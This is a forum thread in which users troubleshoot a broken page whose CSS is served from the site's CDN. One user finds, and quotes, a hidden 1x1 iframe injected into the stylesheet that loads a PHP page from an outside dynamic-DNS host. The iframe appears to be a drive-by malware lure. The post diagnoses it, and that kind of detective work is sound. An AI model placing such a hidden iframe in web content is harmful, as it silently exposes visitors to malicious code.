Mac here, still all funny.
This is the only page messed up?
If you do a hard refresh, does it not resolve?
It's the CSS which is hosted on our CDN.
Let me flush the CDN and see if that helps.
"hard refresh" = log out, log in? No joy.
Log out, close FF, Restart FF, Log in. No joy.
Win 7, FF
Older and wider..
working now for me
One thing you can give and still keep...is your word.
In case it's any help, I had a quick look into the broken page (e.g. view page source in firefox, and then clicking on the css links). The first one looks OK, but the second has "interesting" content, at least when seen from my home (timewarner NYC) internet connection: e.g.
curl 'http://cdn.kitchenknifeforums.com/css.php?styleid=1&langid=1&d=1381158886&td=ltr&she et=threadlist.css,forumbits.css,postbit.css,postbi t-lite.css,search.css'
<iframe src="http://pxqokmsjd.sytes.net:12601/catalogs/system/questions.php?speakers=82" width=1 height=1 style="visibility: hidden"></iframe>
This looks similar to what's described here:
Using some different IP connections the css looks fine, so I guess the CDN is coming into play.
Same thing for me on opera.